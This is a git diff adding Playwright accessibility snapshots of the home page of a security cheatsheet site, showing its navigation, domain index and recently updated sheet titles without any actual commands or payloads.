+          - generic [ref=f10e16]: Tags
+        - link "04 Credits" [ref=f10e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f10e18]: "04"
+          - generic [ref=f10e19]: Credits
+      - generic [ref=f10e20]:
+        - button "Search cheatsheets" [ref=f10e21] [cursor=pointer]:
+          - generic [ref=f10e24]: Search
+          - generic [ref=f10e25]: /
+        - button "Toggle theme" [ref=f10e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f10e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f10e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f10e37]:
+    - generic [ref=f10e39]:
+      - generic [ref=f10e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f10e42]:
+          - generic [ref=f10e43]: D
+          - generic [ref=f10e44]: Γ†
+          - generic [ref=f10e45]: M
+          - generic [ref=f10e46]: O
+          - generic [ref=f10e47]: "N"
+        - paragraph [ref=f10e49]:
+          - generic [ref=f10e50]: The cheatsheet vault
+      - generic [ref=f10e52]:
+        - generic [ref=f10e53]:
+          - generic [ref=f10e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f10e55]
+          - paragraph [ref=f10e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f10e57]:
+            - button "Search the vault" [ref=f10e58] [cursor=pointer]
+            - link "Payloads" [ref=f10e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f10e66]:
+          - generic [ref=f10e67]:
+            - generic [ref=f10e68]:
+              - generic [ref=f10e69]: daemon@sec
+              - generic [ref=f10e70]: ~
+              - generic [ref=f10e71]: "%"
+              - generic [ref=f10e72]: whoami --vault
+            - generic [ref=f10e74]:
+              - term [ref=f10e75]: scope
+              - definition [ref=f10e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f10e77]: format
+              - definition [ref=f10e78]: Copy-ready commands, current tool flags
+              - term [ref=f10e79]: search
+              - definition [ref=f10e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f10e81]: license
+              - definition [ref=f10e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f10e83]:
+            - generic [ref=f10e84]:
+              - term [ref=f10e85]: Curated cheatsheets
+              - definition [ref=f10e86]:
+                - text: "00"
+                - generic [ref=f10e87]: Curatedcheatsheets
+            - generic [ref=f10e88]:
+              - term [ref=f10e89]: Operator domains
+              - definition [ref=f10e90]:
+                - text: "00"
+                - generic [ref=f10e91]: Operatordomains
+            - generic [ref=f10e92]:
+              - term [ref=f10e93]: Mirrored payload pages
+              - definition [ref=f10e94]:
+                - text: "00"
+                - generic [ref=f10e95]: Mirroredpayload pages
+    - region "Domains" [ref=f10e96]:
+      - generic [ref=f10e97]: "^: Index"
+      - generic [ref=f10e101]:
+        - generic [ref=f10e102]:
+          - generic [ref=f10e103]:
+            - generic [ref=f10e104]: "01"
+            - generic [ref=f10e105]: AD
+            - generic [ref=f10e109]: Active Directory
+            - generic [ref=f10e110]: 130 sheets
+          - generic [ref=f10e111]:
+            - generic [ref=f10e112]: "02"
+            - generic [ref=f10e113]: ENUM
+            - generic [ref=f10e117]: Enumeration
+            - generic [ref=f10e118]: 18 sheets
+          - generic [ref=f10e119]:
+            - generic [ref=f10e120]: "03"
+            - generic [ref=f10e121]: PWN
+            - generic [ref=f10e125]: Exploitation
+            - generic [ref=f10e126]: 7 sheets
+          - generic [ref=f10e127]:
+            - generic [ref=f10e128]: "04"
+            - generic [ref=f10e129]: PRIV
+            - generic [ref=f10e133]: Privilege Escalation
+            - generic [ref=f10e134]: 2 sheets
+          - generic [ref=f10e135]:
+            - generic [ref=f10e136]: "05"
+            - generic [ref=f10e137]: CRED
+            - generic [ref=f10e141]: Password Attacks
+            - generic [ref=f10e142]: 3 sheets
+          - generic [ref=f10e143]:
+            - generic [ref=f10e144]: "06"
+            - generic [ref=f10e145]: WEB
+            - generic [ref=f10e149]: Web
+            - generic [ref=f10e150]: 9 sheets
+          - generic [ref=f10e151]:
+            - generic [ref=f10e152]: "07"
+            - generic [ref=f10e153]: PIVOT
+            - generic [ref=f10e157]: Tunneling & Pivoting
+            - generic [ref=f10e158]: 6 sheets
+          - generic [ref=f10e159]:
+            - generic [ref=f10e160]: "08"
+            - generic [ref=f10e161]: CRYPTO
+            - generic [ref=f10e165]: Cryptography
+            - generic [ref=f10e166]: 3 sheets
+          - generic [ref=f10e167]:
+            - generic [ref=f10e168]: "09"
+            - generic [ref=f10e169]: DFIR
+            - generic [ref=f10e173]: DFIR
+            - generic [ref=f10e174]: 4 sheets
+          - generic [ref=f10e175]:
+            - generic [ref=f10e176]: "10"
+            - generic [ref=f10e177]: TOOL
+            - generic [ref=f10e181]: Tools
+            - generic [ref=f10e182]: 18 sheets
+          - generic [ref=f10e183]:
+            - generic [ref=f10e184]: "11"
+            - generic [ref=f10e185]: NIX
+            - generic [ref=f10e189]: Linux & IT
+            - generic [ref=f10e190]: 9 sheets
+          - generic [ref=f10e191]:
+            - generic [ref=f10e192]: "12"
+            - generic [ref=f10e193]: GIT
+            - generic [ref=f10e197]: Git & Workflow
+            - generic [ref=f10e198]: 5 sheets
+        - generic [ref=f10e199]:
+          - generic [ref=f10e200]:
+            - generic [ref=f10e201]: "01"
+            - generic [ref=f10e202]: AD
+            - generic [ref=f10e206]: Active Directory
+            - generic [ref=f10e207]: 130 sheets
+          - generic [ref=f10e208]:
+            - generic [ref=f10e209]: "02"
+            - generic [ref=f10e210]: ENUM
+            - generic [ref=f10e214]: Enumeration
+            - generic [ref=f10e215]: 18 sheets
+          - generic [ref=f10e216]:
+            - generic [ref=f10e217]: "03"
+            - generic [ref=f10e218]: PWN
+            - generic [ref=f10e222]: Exploitation
+            - generic [ref=f10e223]: 7 sheets
+          - generic [ref=f10e224]:
+            - generic [ref=f10e225]: "04"
+            - generic [ref=f10e226]: PRIV
+            - generic [ref=f10e230]: Privilege Escalation
+            - generic [ref=f10e231]: 2 sheets
+          - generic [ref=f10e232]:
+            - generic [ref=f10e233]: "05"
+            - generic [ref=f10e234]: CRED
+            - generic [ref=f10e238]: Password Attacks
+            - generic [ref=f10e239]: 3 sheets
+          - generic [ref=f10e240]:
+            - generic [ref=f10e241]: "06"
+            - generic [ref=f10e242]: WEB
+            - generic [ref=f10e246]: Web
+            - generic [ref=f10e247]: 9 sheets
+          - generic [ref=f10e248]:
+            - generic [ref=f10e249]: "07"
+            - generic [ref=f10e250]: PIVOT
+            - generic [ref=f10e254]: Tunneling & Pivoting
+            - generic [ref=f10e255]: 6 sheets
+          - generic [ref=f10e256]:
+            - generic [ref=f10e257]: "08"
+            - generic [ref=f10e258]: CRYPTO
+            - generic [ref=f10e262]: Cryptography
+            - generic [ref=f10e263]: 3 sheets
+          - generic [ref=f10e264]:
+            - generic [ref=f10e265]: "09"
+            - generic [ref=f10e266]: DFIR
+            - generic [ref=f10e270]: DFIR
+            - generic [ref=f10e271]: 4 sheets
+          - generic [ref=f10e272]:
+            - generic [ref=f10e273]: "10"
+            - generic [ref=f10e274]: TOOL
+            - generic [ref=f10e278]: Tools
+            - generic [ref=f10e279]: 18 sheets
+          - generic [ref=f10e280]:
+            - generic [ref=f10e281]: "11"
+            - generic [ref=f10e282]: NIX
+            - generic [ref=f10e286]: Linux & IT
+            - generic [ref=f10e287]: 9 sheets
+          - generic [ref=f10e288]:
+            - generic [ref=f10e289]: "12"
+            - generic [ref=f10e290]: GIT
+            - generic [ref=f10e294]: Git & Workflow
+            - generic [ref=f10e295]: 5 sheets
+      - generic [ref=f10e296]: 12 domains
+    - generic [ref=f10e298]:
+      - generic [ref=f10e300]:
+        - paragraph [ref=f10e301]:
+          - generic [ref=f10e302]: "01"
+          - generic [ref=f10e303]: "^:"
+          - generic [ref=f10e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f10e306]
+      - generic [ref=f10e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f10e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f10e309]:
+            - generic [ref=f10e310]: AD
+            - generic [ref=f10e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f10e312]
+          - paragraph [ref=f10e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f10e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f10e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f10e318]:
+            - generic [ref=f10e319]: ENUM
+            - generic [ref=f10e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f10e321]
+          - paragraph [ref=f10e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f10e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f10e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f10e327]:
+            - generic [ref=f10e328]: PWN
+            - generic [ref=f10e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f10e330]
+          - paragraph [ref=f10e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f10e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f10e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f10e336]:
+            - generic [ref=f10e337]: PRIV
+            - generic [ref=f10e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f10e339]
+          - paragraph [ref=f10e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f10e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f10e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f10e345]:
+            - generic [ref=f10e346]: CRED
+            - generic [ref=f10e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f10e348]
+          - paragraph [ref=f10e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f10e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f10e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f10e354]:
+            - generic [ref=f10e355]: WEB
+            - generic [ref=f10e356]: "06"
+          - heading "Web" [level=3] [ref=f10e357]
+          - paragraph [ref=f10e358]: XSS, injection, and web application testing.
+          - generic [ref=f10e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f10e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f10e363]:
+            - generic [ref=f10e364]: PIVOT
+            - generic [ref=f10e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f10e366]
+          - paragraph [ref=f10e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f10e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f10e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f10e372]:
+            - generic [ref=f10e373]: CRYPTO
+            - generic [ref=f10e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f10e375]
+          - paragraph [ref=f10e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f10e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f10e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f10e381]:
+            - generic [ref=f10e382]: DFIR
+            - generic [ref=f10e383]: "09"
+          - heading "DFIR" [level=3] [ref=f10e384]
+          - paragraph [ref=f10e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f10e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f10e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f10e390]:
+            - generic [ref=f10e391]: TOOL
+            - generic [ref=f10e392]: "10"
+          - heading "Tools" [level=3] [ref=f10e393]
+          - paragraph [ref=f10e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f10e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f10e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f10e399]:
+            - generic [ref=f10e400]: NIX
+            - generic [ref=f10e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f10e402]
+          - paragraph [ref=f10e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f10e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f10e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f10e408]:
+            - generic [ref=f10e409]: GIT
+            - generic [ref=f10e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f10e411]
+          - paragraph [ref=f10e412]: Version control and operator workflow.
+          - generic [ref=f10e413]: 5 sheets
+    - link [ref=f10e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f10e417]:
+        - generic [ref=f10e418]:
+          - paragraph [ref=f10e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f10e420]
+          - paragraph [ref=f10e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f10e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f10e423]: Browse payloads
+    - generic [ref=f10e427]:
+      - generic [ref=f10e428]:
+        - generic [ref=f10e429]:
+          - paragraph [ref=f10e430]:
+            - generic [ref=f10e431]: "03"
+            - generic [ref=f10e432]: "^:"
+            - generic [ref=f10e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f10e434]
+        - link "All tags" [ref=f10e435] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f10e438]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f10e439] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f10e440]:
+            - generic [ref=f10e441]: "01"
+            - generic [ref=f10e442]: ENUM
+            - generic [ref=f10e446]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f10e447]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f10e451] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f10e452]:
+            - generic [ref=f10e453]: "02"
+            - generic [ref=f10e454]: ENUM
+            - generic [ref=f10e458]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f10e459]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f10e463] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f10e464]:
+            - generic [ref=f10e465]: "03"
+            - generic [ref=f10e466]: AD
+            - generic [ref=f10e470]: Active-Directory_cheat_sheet
+            - generic [ref=f10e471]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f10e475] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f10e476]:
+            - generic [ref=f10e477]: "04"
+            - generic [ref=f10e478]: ENUM
+            - generic [ref=f10e482]: Anonymous Null Testing
+            - generic [ref=f10e483]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f10e487] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f10e488]:
+            - generic [ref=f10e489]: "05"
+            - generic [ref=f10e490]: AD
+            - generic [ref=f10e494]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f10e495]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f10e499] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f10e500]:
+            - generic [ref=f10e501]: "06"
+            - generic [ref=f10e502]: AD
+            - generic [ref=f10e506]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f10e507]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f10e511] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f10e512]:
+            - generic [ref=f10e513]: "07"
+            - generic [ref=f10e514]: AD
+            - generic [ref=f10e518]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f10e519]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f10e523] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f10e524]:
+            - generic [ref=f10e525]: "08"
+            - generic [ref=f10e526]: AD
+            - generic [ref=f10e530]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f10e531]: 2026-08-10
+  - contentinfo [ref=f10e535]:
+    - generic [ref=f10e536]:
+      - generic [ref=f10e537]:
+        - link "DÆMON // SEC" [ref=f10e538] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f10e539]: //
+          - text: SEC
+        - paragraph [ref=f10e540]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f10e541]:
+        - link "daemon-404.github.io β†—" [ref=f10e542] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f10e543] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f10e544]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f10e545] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f10e546] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f10e547]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f10e548]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-24-41-609Z.yml b/.playwright-mcp/page-2026-08-10T08-24-41-609Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f11e1]:
+  - banner [ref=f11e2]:
+    - generic [ref=f11e3]:
+      - link "DÆMON//SEC home" [ref=f11e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f11e5]: //
+        - text: SEC
+        - generic [ref=f11e6]: _
+      - navigation "Primary" [ref=f11e7]:
+        - link "01 Vault" [ref=f11e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f11e9]: "01"
+          - generic [ref=f11e10]: Vault
+        - link "02 Payloads" [ref=f11e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f11e12]: "02"
+          - generic [ref=f11e13]: Payloads
+        - link "03 Tags" [ref=f11e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f11e15]: "03"
+          - generic [ref=f11e16]: Tags
+        - link "04 Credits" [ref=f11e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f11e18]: "04"
+          - generic [ref=f11e19]: Credits
+      - generic [ref=f11e20]:
+        - button "Search cheatsheets" [ref=f11e21] [cursor=pointer]:
+          - generic [ref=f11e24]: Search
+          - generic [ref=f11e25]: /
+        - button "Toggle theme" [ref=f11e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f11e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f11e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f11e37]:
+    - generic [ref=f11e39]:
+      - generic [ref=f11e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f11e42]:
+          - generic [ref=f11e43]: D
+          - generic [ref=f11e44]: Γ†
+          - generic [ref=f11e45]: M
+          - generic [ref=f11e46]: O
+          - generic [ref=f11e47]: "N"
+        - paragraph [ref=f11e49]:
+          - generic [ref=f11e50]: The cheatsheet vault
+      - generic [ref=f11e52]:
+        - generic [ref=f11e53]:
+          - generic [ref=f11e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f11e55]
+          - paragraph [ref=f11e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f11e57]:
+            - button "Search the vault" [ref=f11e58] [cursor=pointer]
+            - link "Payloads" [ref=f11e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f11e66]:
+          - generic [ref=f11e67]:
+            - generic [ref=f11e68]:
+              - generic [ref=f11e69]: daemon@sec
+              - generic [ref=f11e70]: ~
+              - generic [ref=f11e71]: "%"
+              - generic [ref=f11e72]: whoami --vault
+            - generic [ref=f11e74]:
+              - term [ref=f11e75]: scope
+              - definition [ref=f11e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f11e77]: format
+              - definition [ref=f11e78]: Copy-ready commands, current tool flags
+              - term [ref=f11e79]: search
+              - definition [ref=f11e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f11e81]: license
+              - definition [ref=f11e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f11e83]:
+            - generic [ref=f11e84]:
+              - term [ref=f11e85]: Curated cheatsheets
+              - definition [ref=f11e86]:
+                - text: "02"
+                - generic [ref=f11e87]: Curatedcheatsheets
+            - generic [ref=f11e88]:
+              - term [ref=f11e89]: Operator domains
+              - definition [ref=f11e90]:
+                - text: "00"
+                - generic [ref=f11e91]: Operatordomains
+            - generic [ref=f11e92]:
+              - term [ref=f11e93]: Mirrored payload pages
+              - definition [ref=f11e94]:
+                - text: "01"
+                - generic [ref=f11e95]: Mirroredpayload pages
+    - region "Domains" [ref=f11e96]:
+      - generic [ref=f11e97]: "^: Index"
+      - generic [ref=f11e101]:
+        - generic [ref=f11e102]:
+          - generic [ref=f11e103]:
+            - generic [ref=f11e104]: "01"
+            - generic [ref=f11e105]: AD
+            - generic [ref=f11e109]: Active Directory
+            - generic [ref=f11e110]: 130 sheets
+          - generic [ref=f11e111]:
+            - generic [ref=f11e112]: "02"
+            - generic [ref=f11e113]: ENUM
+            - generic [ref=f11e117]: Enumeration
+            - generic [ref=f11e118]: 18 sheets
+          - generic [ref=f11e119]:
+            - generic [ref=f11e120]: "03"
+            - generic [ref=f11e121]: PWN
+            - generic [ref=f11e125]: Exploitation
+            - generic [ref=f11e126]: 7 sheets
+          - generic [ref=f11e127]:
+            - generic [ref=f11e128]: "04"
+            - generic [ref=f11e129]: PRIV
+            - generic [ref=f11e133]: Privilege Escalation
+            - generic [ref=f11e134]: 2 sheets
+          - generic [ref=f11e135]:
+            - generic [ref=f11e136]: "05"
+            - generic [ref=f11e137]: CRED
+            - generic [ref=f11e141]: Password Attacks
+            - generic [ref=f11e142]: 3 sheets
+          - generic [ref=f11e143]:
+            - generic [ref=f11e144]: "06"
+            - generic [ref=f11e145]: WEB
+            - generic [ref=f11e149]: Web
+            - generic [ref=f11e150]: 9 sheets
+          - generic [ref=f11e151]:
+            - generic [ref=f11e152]: "07"
+            - generic [ref=f11e153]: PIVOT
+            - generic [ref=f11e157]: Tunneling & Pivoting
+            - generic [ref=f11e158]: 6 sheets
+          - generic [ref=f11e159]:
+            - generic [ref=f11e160]: "08"
+            - generic [ref=f11e161]: CRYPTO
+            - generic [ref=f11e165]: Cryptography
+            - generic [ref=f11e166]: 3 sheets
+          - generic [ref=f11e167]:
+            - generic [ref=f11e168]: "09"
+            - generic [ref=f11e169]: DFIR
+            - generic [ref=f11e173]: DFIR
+            - generic [ref=f11e174]: 4 sheets
+          - generic [ref=f11e175]:
+            - generic [ref=f11e176]: "10"
+            - generic [ref=f11e177]: TOOL
+            - generic [ref=f11e181]: Tools
+            - generic [ref=f11e182]: 18 sheets
+          - generic [ref=f11e183]:
+            - generic [ref=f11e184]: "11"
+            - generic [ref=f11e185]: NIX
+            - generic [ref=f11e189]: Linux & IT
+            - generic [ref=f11e190]: 9 sheets
+          - generic [ref=f11e191]:
+            - generic [ref=f11e192]: "12"
+            - generic [ref=f11e193]: GIT
+            - generic [ref=f11e197]: Git & Workflow
+            - generic [ref=f11e198]: 5 sheets
+        - generic [ref=f11e199]:
+          - generic [ref=f11e200]:
+            - generic [ref=f11e201]: "01"
+            - generic [ref=f11e202]: AD
+            - generic [ref=f11e206]: Active Directory
+            - generic [ref=f11e207]: 130 sheets
+          - generic [ref=f11e208]:
+            - generic [ref=f11e209]: "02"
+            - generic [ref=f11e210]: ENUM
+            - generic [ref=f11e214]: Enumeration
+            - generic [ref=f11e215]: 18 sheets
+          - generic [ref=f11e216]:
+            - generic [ref=f11e217]: "03"
+            - generic [ref=f11e218]: PWN
+            - generic [ref=f11e222]: Exploitation
+            - generic [ref=f11e223]: 7 sheets
+          - generic [ref=f11e224]:
+            - generic [ref=f11e225]: "04"
+            - generic [ref=f11e226]: PRIV
+            - generic [ref=f11e230]: Privilege Escalation
+            - generic [ref=f11e231]: 2 sheets
+          - generic [ref=f11e232]:
+            - generic [ref=f11e233]: "05"
+            - generic [ref=f11e234]: CRED
+            - generic [ref=f11e238]: Password Attacks
+            - generic [ref=f11e239]: 3 sheets
+          - generic [ref=f11e240]:
+            - generic [ref=f11e241]: "06"
+            - generic [ref=f11e242]: WEB
+            - generic [ref=f11e246]: Web
+            - generic [ref=f11e247]: 9 sheets
+          - generic [ref=f11e248]:
+            - generic [ref=f11e249]: "07"
+            - generic [ref=f11e250]: PIVOT
+            - generic [ref=f11e254]: Tunneling & Pivoting
+            - generic [ref=f11e255]: 6 sheets
+          - generic [ref=f11e256]:
+            - generic [ref=f11e257]: "08"
+            - generic [ref=f11e258]: CRYPTO
+            - generic [ref=f11e262]: Cryptography
+            - generic [ref=f11e263]: 3 sheets
+          - generic [ref=f11e264]:
+            - generic [ref=f11e265]: "09"
+            - generic [ref=f11e266]: DFIR
+            - generic [ref=f11e270]: DFIR
+            - generic [ref=f11e271]: 4 sheets
+          - generic [ref=f11e272]:
+            - generic [ref=f11e273]: "10"
+            - generic [ref=f11e274]: TOOL
+            - generic [ref=f11e278]: Tools
+            - generic [ref=f11e279]: 18 sheets
+          - generic [ref=f11e280]:
+            - generic [ref=f11e281]: "11"
+            - generic [ref=f11e282]: NIX
+            - generic [ref=f11e286]: Linux & IT
+            - generic [ref=f11e287]: 9 sheets
+          - generic [ref=f11e288]:
+            - generic [ref=f11e289]: "12"
+            - generic [ref=f11e290]: GIT
+            - generic [ref=f11e294]: Git & Workflow
+            - generic [ref=f11e295]: 5 sheets
+      - generic [ref=f11e296]: 12 domains
+    - generic [ref=f11e298]:
+      - generic [ref=f11e300]:
+        - paragraph [ref=f11e301]:
+          - generic [ref=f11e302]: "01"
+          - generic [ref=f11e303]: "^:"
+          - generic [ref=f11e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f11e306]
+      - generic [ref=f11e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f11e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f11e309]:
+            - generic [ref=f11e310]: AD
+            - generic [ref=f11e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f11e312]
+          - paragraph [ref=f11e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f11e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f11e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f11e318]:
+            - generic [ref=f11e319]: ENUM
+            - generic [ref=f11e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f11e321]
+          - paragraph [ref=f11e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f11e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f11e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f11e327]:
+            - generic [ref=f11e328]: PWN
+            - generic [ref=f11e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f11e330]
